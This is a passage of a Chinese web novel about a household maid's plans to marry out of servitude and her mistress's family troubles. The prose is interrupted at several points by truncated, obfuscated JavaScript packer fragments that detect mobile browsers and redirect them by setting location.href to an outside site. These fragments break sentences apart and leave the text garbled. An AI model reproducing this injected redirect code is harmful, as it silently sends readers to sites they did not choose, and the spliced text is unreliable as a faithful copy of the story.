0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053398|149080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香这话,不知内情地还当是她特意在姑娘跟前荐了她,倒没想到,她是个会扯虎皮的。 瑞香升了二等,红湘是没什么意见,可旁的三等丫鬟乃至粗使丫鬟就不是那么痛快了。听人说,昨儿夜里,和瑞香同屋的柳冬就差点和她打起来。 青娆低头喝了口茶,想起马房诸人对瑞香的评价来:连眉眼高低都看不明白,是个再愚钝粗傻不过的…… 她是九如院里贴身伺候姑娘的,自然不会对姑娘身边凭白冒出来的人毫不在意。 她远比红湘这个视她为对手的人对瑞香知道得多。 可就是这个被婆子丫鬟们都说木讷粗笨的人,今儿却来给她送礼了。 可见,人言未必可信。 青娆忽然对她生出几分兴趣来。时至今日,她仍然不太明白瑞香是怎么得了姑娘的青眼,进了院子的。 只是当日满院子的旧人犯了错,大夫人本就觉得她们伺候不周,姑娘要从外头提个人进去,又是粗使,位置不尴不尬的,自是没人会说什么。 但短短时日,她就成了二等…… 她心思微转,等门后的耳朵走了,才开口道:“都是姑娘看重你,哪里有我什么功劳?想你必然是有过人之处,否则不能让姑娘这样喜欢。” 瑞香见她没有在人前拆穿她,心中微松的同时越发意动。这个庄青娆,是姑娘最信任的一个丫鬟,别看那红湘也升了一等,在姑娘心里的地位却是远远不如的。 从前她在马房时,不肯认那些个掉钱眼里的老虔婆做干娘,受尽了苦楚,可她不后悔。真要像红湘这样目光短浅的,将来还得费尽心思摆脱这趴在身上吸血的“娘”,那才怄人。 但她眼看姑娘对庄青娆的重视模样,却知是时候给自己找个靠山了。 她心知肚明,姑娘对她的提拔,并非是因喜欢她。 “承蒙姑娘不弃,原是我家中有一门祖传的医术,我虽只学了些皮毛,到底比外头那些大夫看着方便些。姑娘偶有困乏头疼的,我也能派上些用处。” 竟是个懂医理的丫头。 青娆心中微微吃了一惊,这样的本事,能在主子面前脱颖而出是再容易不过的。 “瑞香妹妹这样的好本事,在我们宅子里实在是屈才了。”她笑着赞了一句,这话带了些真心。 瑞香被卖进府的时候年纪还小,就能有能让主子看中的本事,可见家学渊源。若是在外头,说不定也能做个女医。如今为奴为婢,在她看来的确也是屈就了。 “姐姐头上的簪子真是好看。”瑞香却只当她是随意客气一句,于是打量了她几眼,也笑眯眯地夸赞起来。 青娆微怔,方才进来时她在想着事情,并未取下这簪子。这等事不好叫她知道,便也只客气地谢一声,面上大大方方,瑞香不疑有他,便只以为是姑娘赏她的。 “姐姐生得这样好看,得穿这缎子做的好衣才是。我那儿得了这两匹缎子,瞧着正衬姐姐……”瑞香将她从头到脚夸赞了一番,末了又拉着她的手道:“姐姐别嫌我烦,只是我一见姐姐就觉得亲切,也不知道有没有福分能同姐姐认个干亲……” 5. 第 5 章 青娆却不爱宅子里认干亲的这一套。她爹娘俱在,家境在陈府的家生子里算得上殷实,上头又有个姐姐,何必还要认什么干姐妹? 若真是认了,也该是因为脾性相投,而非为了计较利益得失,互相算计。 她面上神情淡淡的,还未来得及婉拒,一道风风火火的声音就闯了进来:“休打我妹妹主意!青娆是我家最小的,她只有我一个姐妹就够了,可不用认什么妹子!” 却是青玉一脸趾高气昂地进来了。 她很有主人自觉地坐在青娆对面:“你说是不是?我的好妹妹!” 一副青娆敢认她就敢闹的样子。 瑞香笑意微僵。 她早有耳闻,知道庄青娆有个性子泼辣,得理不饶人的姐姐,却没想到她会横插一杠坏她的事……她被卖出来前家中没有姐妹,一时间也不知道是不是真有亲姐妹为了这事吃味的。 青娆瞥了姐姐一眼,顺着台阶下来道:“瑞香,你也瞧见了,那这事我只能对不住了。”又笑眯眯道:“其实认不认干亲也是无妨,只要一心为姑娘做事,都是如同亲姐妹一般,密不可分。” 话已至此,瑞香只好点头应了,临走前却无论如何都要将她带来的缎子留下——青娆虽未认她做干妹妹,却没有将她故意让小丫鬟误解的事儿戳破,也算是承认了她在院里的地位。她这礼,算是拜了码头,表示心悦诚服地认她领头。 等人一走,满脸愤懑的青玉就噗嗤一声笑出来:“瞧瞧,咱们家老幺,都有人上赶着认你做姐姐了。”通常这样的事,都是上了年纪的妈妈才会遇上。 青娆懒得理会她,与她斗嘴道:“你怎么过来了?这个时辰,你该被娘打得皮开肉绽才是。” “你这小没良心的!枉我平日里巴巴地从藏书楼里给你偷书看,你便是这样报答我的?”青玉气得柳眉一竖,眼珠子转了转,又笑了起来:“这不是你那位齐家哥哥来了,我才趁娘不注意偷跑出来‘看着’你们嘛!” 青娆一愣,瞬间脸烧得通红,明白方才她和齐和书并肩而行的一幕被她姐抓了个正着。 青玉撑着脸笑眯眯地看着她头上的簪子:“你那小郎君眼光不错,这簪子是好看。” “也不知爹爹和郑大哥什么时候回来……”青娆被她说得恼了,不甘人后地揭了姐姐的短,边说边拿眼睛斜她。 青玉的表情也顿时不自然起来。 庄家这一辈只生了青玉青娆两个女儿,虽有远亲想将自己的儿子过继过来作嗣子,庄管事却一直没同意——那远亲在陈家大夫人的娘家沈家的一个庄子上做庄头,儿子生了六七个,个个都没什么出息,一看便是打算拿庄家的家产给全家吃的。 后来,庄管事夫妇就生出了给大女儿青玉招赘的心思。主要是青玉的性子,崔妈妈一看就觉得头疼,若是出嫁到别人家当媳妇,不定要受什么大委屈,还不如招赘,起码她和庄管事在世的时候还能多照顾些。 至于小女儿青娆,打小就主意正,待人又周到,又喜欢读书习字,见识比府里几个庶出姑娘都不差什么,庄管事夫妇一向很放心,只想着给她挑一门好亲事风风光光出嫁就是。 青玉的赘婿起初很难找。庄家再是家底厚实,毕竟也只是为人奴仆的,外头的良家子自然不愿意,府里的主子也不一定能同意。 可若是找府里伺候的小厮,庄管事日日在外院行走,对那些肯上门的小子的秉性做派比谁都了解,一看就眉头皱得能夹死苍蝇,嫌弃的不行。拖来拖去,青玉都快二十了还没嫁出去,都快成了老姑娘了。 谁知道就在这时候,陈家护卫队的护卫郑安上门自荐,说愿意当庄家的上门女婿。 青玉差点惊掉下巴。 这郑安是元庆二十二年到的陈家,却并非是护卫队的家生子,而是流落到陈家门前的乞儿——至少青玉是这么认为的。 青玉溜出门去买羊肉汤喝的时候碰见后门那儿倒了个人,吓了一跳,一摸他额头烧得滚烫,就将人带回了家——那时的郑安瘦得只有一把骨头,连青玉这个小姑娘都扛得动。 万妈妈虽不满青玉将一身破烂衣裳病得快死了的乞儿带回家,可到底也是心软之人,见儿子儿媳也没反对,便从下人房里那个略懂医理的胡婆子那儿买了一副最便宜的治风寒的方子,烧开了给他灌了下去。 郑安却是命硬,生生靠这一副汤药退了烧,第三日就能下床了。一能动弹,他就闷不吭声地给庄家上下砍柴烧水抬盆,一副要报恩的样子。 万妈妈瞧他就更顺眼下,再加上青玉对家里骤然多了个同龄的男孩子很好奇,每日央着万妈妈给她从大厨房里带好吃的回来,一个月过去,竟然叫他双颊圆润了些。 一个天稍暖的日子,郑安得了崔氏亲手做的新衣裳,抿着唇洗了个澡,等换上新衣,竟是个唇红齿白的小少年。庄管事见他生得不错,问了他是否要留在陈家,郑安不愿意吃白饭,就自卖自身进了陈家。 后来庄管事便使了些人情,将他送到护卫队认了个从战场上退下来的老兵做师父,跟着他学些拳脚功夫,后来长大了些,也如愿进了陈家护卫队。 那老护卫无儿无女,见郑安乖顺,便渐渐将他当做亲儿子养,住在他家屋子里。从那以后郑安就不在庄家住了,后来逢年过节,他也总是在外办差,只每次都送了丰厚的节礼过来。 年幼的青娆因此对他毫无印象,青玉对他的记忆也渐渐淡了,哪晓得这厮再一出现,竟是这样轰轰烈烈——她很难将那时瘦得皮包骨的小少年同眼前皮肤麦色,人高马大的青年人联系起来,一时竟有些不好意思。 崔氏目光何等毒辣,一眼就瞧出了大女儿这样竟是有些情愿,故而虽一时没有应下,却也授意二人多多相处。 相处这一年半载,两人皆是互相中意,两家的亲事也定了下来,只等月余后成亲。 青玉早习惯了外人打趣她和郑安,故而妹妹打趣她,她也只是不好意思了一下又很快调转矛头,一本正经道:“别光说我,我的事儿可是定了。你那齐家的小子倒是会花言巧语,可到底什么时候使媒人上门?姑娘那儿,你也得早早做打算才是。” “他说……等过了三月三就让他娘进府和大夫人说。” 青玉这才露出些满意神色来:“该是如此才对。我们两家从前还当过邻居,这等事,总不好让你一个姑娘家先和大夫人禀告。你得矜持些,不能叫外人抓了你的把柄。”崔妈妈也正是担心齐家的态度,才对她和齐和书的事不怎么赞同。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053399|149080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >青玉倒是觉得齐和书不错,但在这一点上,仍旧和她娘保持高度的一致——饶是他是再好的如意郎君,他们家也不能拿她家幺妹的名声做赌。 青娆心中则无过多忧虑。 她和齐和书的事情,实然并非只是少男少女情窦初开。 齐和书,是她这些年想了又想,挑了又挑选出来的夫婿。 她选了他,并不因他生得多俊俏,也不因他家为老爷做生意捞了不少油水,只因他全家皆是良籍,且在主家面前有替她脱籍的体面。 《大晋律·户婚》定了“良贱不婚”的规矩,齐和书若是要求娶她,主家出于让齐家人继续安心给他们办差并栽培齐和书的角度,大半会同意让她脱籍。甚至,将来齐和书越来越有出息,主家说不定还会松口叫他们一家子都脱了籍。 陈大夫人并不能算宽容的主子,这些年卖进来又自赎其身或是放出去嫁人的,一个巴掌都数得过来。且其中的两个,还是当年老夫人开恩放出去的。 若真是靠卖身银就能赎身,青娆也不用指望着嫁人,自个儿便能赎了自己。可偏偏,在这世族当道的世间,想要不为奴为婢,并非只靠努力就能成事。 旁人羡慕她是陈府的家生子,知根知底,最容易得主子重用,跟着主子荣华富贵。 可她读了许多书,见了许多宅门里的事,知晓这荣华富贵不是靠尽心当差就能保全,而是生死命数皆在主子一念之间,她就如同主子手里的一只蝼蚁,翻手之间便能被掠去生命。 四姑娘待她那样亲善,可她不过是吹了风着了风寒,下头满院子的人都挨了板子。若非冬日里穿得厚,饶是她身子骨不错,恐怕也得生一场大病,生命垂危。 她这个一等丫鬟的命,也是这样的不值钱。 而家生子,更是奴才中的奴才。没有天大的运道,便要生生世世为奴为婢。 她宁肯当清贫些的平民百姓,也不愿再当体面的奴婢,更不愿让她的孩子也继续为奴为婢。 所以在选定了齐和书之后,她付出了十二分的努力,叫他非她不可,一颗心都系在她身上。 照他如今对她的热切劲儿,她相信他不会在求娶她这事儿上迟疑不决。 至于姑娘那儿,她也早早地和姑娘禀告过了,姑娘待她亲厚,并不介意她不跟着她到黄家去。只是若是她不打齐和书的主意,多半也只能和彤雯一样,配个府里的年轻管事或是小厮了事,万没有能放了籍出去嫁人的。 到如今,已是万事俱备,只欠东风。 “你心里有数就好,我也是怕你被男人那张嘴骗了,到时候找我来哭。”青玉哼了一声,轻轻放过这话题,说完正经话,眼神便不由自主地往桌上的两匹缎子上飘。 青娆时常嫌她说话不中听,却到底扯了包袱皮让她好好挑一匹——若不是她眼尖地跑进来堵住瑞香的话,她还不知道要如何拒绝她呢。 毕竟都在姑娘身边当差,哪怕她做不了多长时日便会出嫁,总也是低头不见抬头见的,闹翻了让人不自在。 青玉这招,虽是直来直去了些,却是自己顶了缸,没叫青娆把瑞香得罪得太狠。 照他们之间的交情,她能这样帮她一把,让她能尽快地站稳脚跟,已经是仁至义尽了。 6. 第 6 章 九如院里的丫鬟们听说了瑞香在青娆屋里的一席话,果真乖顺了不少——青娆在四姑娘身边服侍了许多年,如今二等三等里很多是她手把手教上来的,要教本事,自然是亲亲热热时有,严厉教训时也有。 故而青娆这回当上管事,几乎不需要怎么杀鸡儆猴,就能让众人俯首帖耳。 就连和瑞香打架的柳冬,这日夜里也送了瑞香一瓷盒胭脂膏子,当是赔不是了。 等下回青娆再去房里伺候时,就见瑞香满脸笑意地对着她,很是客气。她也回之一笑,面容亲切。 “这屋里怎么有股烧糊的味道?”青娆支开窗牖,笑着回身问。 陈四姑娘捏着书卷的手微紧,“是么?我怎么闻不见?” 一旁的瑞香就笑盈盈地道:“青娆姐姐还不知道?今儿黄家公子悄悄往这儿送了一封信件呢。” “瑞香!”四姑娘愣了一下,恼怒地开口。 青娆挑了挑眉,见姑娘一副气急败坏的样子,这才放下了心里的疑窦——姑娘实然是很心悦黄家公子的,如今两人婚期将近,一时不守矩互通信件也是有的,算不得什么奇事。 可她尚且不知道……瑞香怎么知晓? 她心里正有些不自在,就听四姑娘道:“你真是个多嘴的,下回拆东西时再不叫你在一旁伺候。” 瑞香就连忙笑着讨饶,又同青娆解释道:“……原是以为只送了东西来,谁知道匣子打开了还有一封信……” 青娆就笑了,凑上去问四姑娘:“黄公子写了什么,姑娘竟羞得一把烧掉?” 两人主仆多年,早已如亲人般能互相凑趣,况且青娆知道黄承望是四姑娘当时从来赴宴的诸多才子中挑选出来的如意夫君,听到这样的打趣,只有欢喜的,便也没顾什么规矩。 四姑娘果然不生气,还一副羞赧的模样,低声道:“他说我上回写的诗很好呢。” “姑娘自然是文采斐然,咱们的未来姑爷,也算是慧眼识英才了!”主仆两个对视一眼,会心一笑。 四姑娘同她是一样的人,她既选定了目标,心悦于黄承望,便不在意他的寒门身份,一心一意要嫁给他。为此,她还看了不少黄承望从前的诗文,学了许多类似风格的诗词,如今再作诗文,已然是有些韵味了。 托她的福,青娆跟着她看了不少诗词,也收获颇丰。 “过几日就是三月三了,姑娘可要出门去顽?”青娆低头剥了个松仁儿,捧在手心里送到四姑娘跟前去,笑盈盈的。 “难得见你讨好我。”四姑娘睨了她一眼,笑道:“你那日可是要和齐家的小子上街去?尽管去便是,翻过年来你一直忙着清点库房里的东西,也是时候松快松快了。三月三那一日宋家的姑娘约我去她家的酒楼里看灯,我带着红湘和瑞香就是。” 陈阅微是家中顶受宠爱的姑娘,自个儿库房里摆了不少好东西。青娆替她管着房里的账册和人情往来,每次逢年过节,族中的长辈伯叔,外头出嫁的姑奶奶们往陈府送节礼,从没有少了她的。除了这些,光是大夫人这些年送的好东西就不少。再加上外头结交的各府姑娘们送来的东西,更是林林总总不计其数。 是以直到彤雯出嫁前几日,青娆才将这些时日收到的各色礼物造好了册,一样样小心在库房放好。青娆会读书写字,人又体贴周到,这便是她胜于旁人的好处了。 青娆听她这样说,也是感动。只她与齐和书的事,四姑娘从前从不曾在旁人跟前提起,陈府里知晓此事的人也极少。彤雯若非是有和她同屋的便利在,当时也不能发现端倪。 她倒没什么不快,只留了心,待瑞香出去便悄悄地直问四姑娘。 便见姑娘笑了笑,摸着她的头发道:“你们俩的事儿也有些时日里,总不能再这样拖下去。等过了三月三,我便和母亲那里提一提,好叫她心里有数。” 原是她心里早有成算,这才不在屋里人面前遮掩。 “姑娘……”青娆红着眼睛唤了一声,主仆一场,当真是有实打实的情谊的。想了想,又小声道:“齐和书说了要让他娘来提亲,姑娘不如缓一缓,免得大夫人万一因生我的气迁怒姑娘,那就不好了。” 他俩的事,说得好听是两情相悦,说得难听,便说是私相授受也能沾上。大夫人那里还不知是怎么想的,她不想让姑娘替她出这个头。虽是亲母女,但姑娘快出嫁了,一言一行总也要算计着情分。 四姑娘听了也是宽慰:“你这傻丫头。罢了,这种事的确该我们女儿家矜持些,那便等上几日就是。但你心里要明白,你是我房里最爱的丫头,便是亲姐妹也不如我俩相处的时日多,我待你,情分只有更甚的。” “我明白的,姑娘。”青娆微红着眼睛道是,头一回失了规矩地直视着四姑娘的眼睛许久,却见她眉眼虽仍旧稚嫩可爱,神情间却多了几分超越年纪的沉稳干练。 她有些失神。 明明去岁还是一片孩子气的人,约莫是快要出嫁了的缘故,竟多了些上位者的端凝,有了几分大夫人般的风采。 一时心情复杂又带着欣慰——这样的四姑娘,大约没了她伴在身边,也能在黄家过好吧。 * 青娆等了几日,未等到齐家上门求亲的消息,却在一日惊闻大夫人昏过去的消息。 一向对下人和声细语的四姑娘头一回变了脸色,一面疾步往正院的方向走,一面阴沉着脸呵斥来报信的丫鬟道:“好端端的,母亲怎么会晕过去?你好好回话,莫要哭哭啼啼地说不清楚。” 青娆快步跟在后面,捏了捏脸色惨白的小丫鬟的胳膊,对方这才回神,却还是说不明白:“……如意姐姐叫我来给四姑娘传话的,奴婢只知道是襄州来了信……” 襄州? 四姑娘一听就抿紧了唇,青娆心里也是咯噔一下,有了不太好的预感。 陈阅微的亲姐姐陈家大姑娘陈阅姝便是嫁去了襄州英国公府,年前听说这大姑奶奶生了病,一个月都起不来身,陈家连忙重金请了好几位大夫去襄州,至今不曾回来。 莫非,是大姑奶奶病重了? 一行人快步到了正房,四姑娘神色焦急地进了屋,就见大夫人面色苍白,唇带乌色地躺在榻上,神色木木地不说话。 听见动静,她眼珠子缓缓转过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14053400|149080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看见四姑娘,一滴泪就落了下来:“早知如此,我就该不听你祖母的,将姝儿也留在身边,也不会害她要白白赔上一条命!” 满屋子伺候的人顿时唬了一跳,一听这话哪还有不明白的。看来,大姑奶奶那头是真的不好了。 四姑娘的表情也大为震惊,喃喃道:“怎会如此……前年长姐回来看我们,她还好好的,比园子里的花还要鲜活呢……”半点不愿意相信这话的样子。 大夫人屋里的碧荷听了这两句话,默默地朝其余的下人们使了眼色,众人便放轻了脚步与呼吸,蹑手蹑脚地退了下去。 过了一会儿,就听见里头传出来大夫人嚎啕的哭声,伴着四姑娘小声的啜泣。 青娆远远地立在廊下,打听了事情的来龙去脉,心里也不太好受。 大姑娘是高嫁,姑爷是先帝爷的后嗣,封了英国公,封地在襄州的一个中县,因而与其兄襄郡王都在襄州城建了府邸。 这门亲事从一开始便极为风光,直到前年大姑奶奶归宁探亲,一身的气派荣华还叫府里人看直了眼睛。 如今,襄州却传来消息:派去的大夫和郡王府原先供着的太医都道,大姑奶奶这是油尽灯枯之相,满打满算,也活不过一年的光景了。 可陈阅姝,如今只有二十五岁。 碧荷拉着青娆进了茶房,给她倒了一杯热茶,叹息道:“别看夫人平日里算不上疼爱大姑娘,可今日一拿到信,也是如同割了肉一般地疼。四姑娘素来贴心,等回去了,你多劝劝她,叫她多来陪陪夫人,免得夫人伤心过度。” 她和碧荷年纪相仿,又都是陈府的家生子,幼时刚进府时做粗使小丫鬟,还曾住过一个屋。再加上四姑娘屋里的彤雯和碧荷认了干亲,一向往来颇多,两人打照面的次数就更多,情分不比寻常。 大姑奶奶陈阅姝做姑娘时,一直都住在先老夫人的崇明堂,没有一日是养在大夫人膝下的。大夫人和老夫人婆媳不睦,连带着也不太宠爱这个事事向着婆母的嫡长女,反倒是生下的幼女,自小冰雪聪明又嘴甜,日日都要来和她问安,叫她愈发偏心,再看不见前头那个不省心的长女。 大姑娘出嫁时,还是老夫人一手操办的,大夫人这个亲娘半点没沾手。等大夫人去了襄州看了大女儿出嫁后的日子,回来不心疼她不说,反倒心疼起还在闺阁里的幼女来,叫她逾矩添了许多丫鬟。 老夫人为此气得不轻,但见说不动她,也懒得再同她置气,只临走前将大半的嫁妆都悄悄送给了大姑奶奶,至于陈阅微这个嫡亲的孙女,与那几个庶出的得了一样的分量。 一桩桩一件件,都叫府里人明白,大夫人放在心尖尖上的只有四姑娘。 “谁说不是?四姑娘心里也很崇敬大姑奶奶,心里只怕也伤心得紧。”青娆也跟着叹了一声。 陈阅微和这个长姐,情分也是浅薄得紧。至少青娆在她跟前时,很少听见她提这个长姐,倒是小时候,她还说了不少祖母偏心的抱怨话。 但今日,骤然出了这样的事,她远远看一眼四姑娘红肿的眼睛,也是觉得心头微酸。 到底是血脉相连的亲姐妹。 7. 第 7 章 却说陈大夫人当着众人的面哭诉的一番话,也是早有因由。 先老夫人和沈氏关系不睦,尤其是在嫡长孙女陈阅姝的教养问题上分歧颇大。这些年,沈氏一直记恨着婆母将长女从她屋里抱走的事,偏陈大老爷是个出了名的孝子,半点不肯忤逆自己的生身母亲。 “娘年纪大了,难免时常觉得孤寂。孩子们总也要晨昏定省的,权当是让元娘多陪陪她,她老人家也开心些。”陈大老爷曾劝。 沈氏只觉得刺耳。 她怀胎十月辛苦生下的女儿,不日日伴着她,倒伴着那老婆子,怎么想都觉得是婆母在故意折腾她女儿。 等大姑娘一日日长大,待老夫人一日日更亲近,沈氏心头那口气就越发堵得慌,连带着对这个女儿也冷淡起来。 陈阅姝议亲时,陈家原本是打算从京城的名门里挑选一家将嫡长女嫁过去的,谁知回京给天子祝寿的襄王爷忽地找上门来,说是要替嫡幼子求娶陈家的嫡长女,打了陈家一个措手不及。 襄王爷是天子的亲侄,因先太子的缘故,虽为藩王,却颇得圣宠,年轻时便被加封了亲王爵位。其嫡幼子得其恩荫,刚满十六岁就被圣上允诺将来会加封他世袭罔替的英国公爵位,嫡长子将来降等承袭郡王爵位,也是荣光无限。 昔年陈大老爷刚结束外放,坐上四品京官的位置,所求便是进六部排队,好接替他爹从前的位子。襄亲王有圣宠却无实权,不会搅入莫名的党争里头,二人一拍即合,陈大老爷禀明了陈老夫人后,立时应下了这门亲事。 沈氏却闹了起来。 一时挑拣襄州不如京城富庶,长女远嫁,有生之年也不知还见不见得到;一时哭诉宗亲皇室宅门深深,嫁过去只会耽误了一辈子;一时又非议襄亲王一辈子无所事事,只靠谄媚和皇亲恩荫度日。 前两条也就罢了,后头那说法,陈大老爷听得青筋直跳,怒火中烧地和沈氏大吵一架,她才不再敢议论襄亲王——那人瞧着胖乎乎的,模样和善,可他听他去世的爹说,背地里被他坑的人也不知凡几。 先帝后裔,又能得天子青睐,哪是只靠逢迎就能立得住的? 沈氏闹来闹去,最后还是不得不点头应了这门亲事,挥泪送长女嫁去了襄州襄亲王府。有此教训,等幼女到了要说亲的年纪,她一早便放出话去,要在京城新科进士里选一位人杰,近近得嫁了,将来有什么事,娘家也好照应。 陈大老爷也晓得妻子有多溺爱小女儿,便也不再说甚么,由得她去,这才有了黄家这门亲事。 说回这厢沈氏惊闻长女药石无灵的噩耗,与小女儿一道抱头痛哭后,不由想起了自家刚满三岁的外孙:“……可怜我的鹤哥儿,年纪这样小,平日里便体弱,如今再没了亲娘,将来若周绍娶了个蛇蝎毒妇进门,他可怎么过……” 周绍,便是陈家的大姑爷,英国公的名讳。 陈阅姝嫁进襄王府没过两年,老襄王便一病不起,熬了三个月便撒手去了。襄王嫡长子周僖便承袭了郡王爵位,嫡次子周绍承袭镇国将军爵位,并加封英国公,陈阅姝也就成了英国公夫人。 这样年轻的公爵夫人,在皇室宗亲里,也是头一份的。 可国公夫人的名头看着风光无限,却也不是那么好受的。光说是子嗣这一关,便叫陈阅姝吃尽了苦头。 两人成婚五年膝下都没有子嗣,在周绍的母亲老王妃的安排下,周绍先是收用了两个贴身丫鬟做通房,其中一个,给他生下了一个长女后因产后血崩而亡。 几个通房也就罢了,不过是丫鬟出身的滥妾,生的孩子都不能子凭母贵袭爵。可等翻过了年关,英国公府又正式向朝廷奏报无子,正经纳了将门女方氏做良妾——皇室宗亲纳的良妾,经奏报朝廷,其所生之子可按律分等袭爵,故而都有定数。 方氏的父亲和老王妃姑母的娘家人沾着表亲,从前便是借了襄王爷的光入了行伍,还挣下功名来。谁知西征时方父作为先锋深陷敌城,后来晋军虽得了平岗城,方父却伤重不治,连尸身都葬在了关外,去世时留下方氏这个遗腹子。 老王妃怜悯方氏,幼时便常接她进府小住,一来二去的,倒算是和英国公有了青梅竹马的情分。这样的良妾,放在哪家,都得叫主母恨得牙痒痒。 然而无名无分五年无子,陈阅姝再不情愿,也只能默认了婆母这一番安排。谁晓得等方氏进了门,不出一个月,陈阅姝就诊出了怀胎两月的喜讯。 方氏那里还不知如何恨,陈阅姝自己也是又喜又悔,自此一门心思扑在肚子里的孩子身上,终是平平安安生下了个儿子鹤哥儿,老王妃和周绍都十分欣喜,在襄州城广邀宾客办了嫡子的满月宴,热闹非凡。 可惜天意弄人,等鹤哥儿满了周岁,却现出些不足之症来。一年里,倒有五六个月都在生病请医。 如今,鹤哥儿刚满三岁,仍旧是小病不断,看着叫两家长辈都揪心。 四姑娘听了这话,却是先红着眼睛叹了口气:“且不说那没影的继室,光是那姓方的姨娘,便是个不好惹的。上回听长姐私下里同我提起,她觉得方氏像是已经有了身孕……” 额上敷着帕子的沈氏腾地坐起身来,脸色铁青:“当真?” 陈阅微点点头:“长姐对府里把得严,应不会有差错。” “这可怎么好,这可怎么好!”沈氏呼吸急促,国公府唯一的嫡长子是个病秧子,恰逢强势的主母病重垂危,宠妾又怀上了身孕,无论怎么看,都不会有鹤哥儿好果子吃。 “母亲放宽心,长姐应还能撑一段时日。咱们这些日子,只怕顾不得伤心,得先替姐夫寻一门温柔良善又能对抗方氏的继室,这才能保得住长姐这唯一的骨血。”四姑娘拉着沈氏的手,声音温温柔柔的,恰如及时雨,慢慢地抚平了沈氏焦躁如火煎的心。 可寻个温柔贤惠的,哪有这般容易?继室再好,到底不是从她肚皮里生的孩子,等她有了自己的儿子,怕是更一日都容不下鹤哥儿! 那……寻个门第低好拿捏的?等鹤哥儿大些了,再许她生孩子?可性子软些,只怕又不是那方氏的对手。 陈大老爷出京当差不在家里,母女俩便相依着叙了半日的话,四姑娘才一脸倦意地从正房里出来。 今儿恰轮到青娆值夜,于是便服侍着她回房梳洗沐浴,睡前哄着她喝了一碗姜茶,才见她渐渐缓过神来。 青娆见状便要去外头的小榻上值夜,哪知四姑娘却拉着她的手不教她走:“青娆,我心里正闹腾着,你好歹留下来陪陪我。” 四姑娘更小的时候,两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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青娆在京城的陈府也当了许多年的差了,可还是头一次能在大街上瞧见灯一点点被点亮的样子,心中既新奇又欢喜。 齐和书见她这样开心,不由也跟着弯了眼睛。 又听旁边的人吹嘘道:“往年比今年还要热闹呢,今年是没赶上好时候,太子殿下生病了,否则定不会只是这样的排场。” 天子脚下的老百姓,对皇亲国戚的事也都是信手拈来,活像个个家中都有做宰辅的亲戚似的。 青娆听了一耳朵,只知道东宫里的贵人兴许是病重了,皇帝陛下今年不会露面灯会与百姓同庆,排场自然也比不上往年。 又听闻为了太子的病,陛下在护国寺捐了足足两千两的香油钱,又在山脚下连设了五天的粥棚,慈父之心,日月可鉴。 这样的事,叫青娆想起陈家大姑娘的事情来,不由在心里叹了一句:这世上最惨之事,莫过于白发人送黑发人了。连贵为天子的陛下爷,竟也逃不出这样的厄运。 正想着,忽闻身侧众人低低惊呼,齐和书脸色一变,大力将她拉至一边,她这才瞧见自个儿站在交叉口,彼时正有一列骑着高头大马的兵士快马经过,险些撞到了她。 她抬眸,看清为首那人的容貌时,不觉微微一怔。 8. 第 8 章 来人头戴紫金玉冠,身着大红平金蟒袍,五官精致如匠人精雕细琢而出,浓眉黑眸,腰上戴着一块墨色玉佩,年纪虽轻却已有威严气度。 “一看这模样,便知是哪位皇室宗亲。”有路人低低的议论。 今夜朱雀大街上行人熙熙攘攘,敢这样跑马的人,不是蠢极,便是有大背景不怕御史参的。 “便是王侯贵族,也不该行为如此莽撞!”齐和书很是生气,忍不住骂了那人一句,却见面前的青娆微微蹙着眉头,似乎在想什么。 “你吓坏了吧?” 青娆回神,忙摇了摇头,笑着低声道:“不是,我只是觉得,方才那人,似乎是大姑爷。” 齐和书愣住。 青娆也不大确定。 大姑娘陈阅姝出嫁的时候,四姑娘年纪还小,她也是懵懂不知事的年纪,连襄王府过来接亲的热闹都没有凑。 后来夫妇俩倒是偶尔也上京来看望陈家大老爷夫妇,但宴席上也是男女宾各坐一席……细算下来,她也只是见过英国公两三面的样子。 只记得,那是个身材十分高大,仪态优雅,却魁梧如同武将般的男子。 大夫人似乎也是因此觉得二人不相配——陈阅姝是精心教养出来的大家闺秀,在她看来,合该配个文质彬彬的潘安才是。 饶是如此,那人却仍是十分出众,以至于青娆能在人群中一眼认出他。 这种日子,大姑爷怎么会在京城的街上跑马?她疑心他是上京来给陈家报丧的,可瞧他去的方向,却像是皇宫大内…… 她的念头只是一晃,对齐和书的愤怒,她表现得平静,实然是已经习惯了。 她只是个奴仆,陈家上上下下的主子都将她视作蝼蚁。皇室宗亲,坐拥大晋的山河土地,自然也将平民百姓视作蝼蚁。 人如草芥的事情,她见得多了,倒是齐和书,因家中放了籍,自小被当成读书人教养,胸中还能有些天真的愤懑。 她有些羡慕,望向少年的眼神,就更温柔热烈了些。 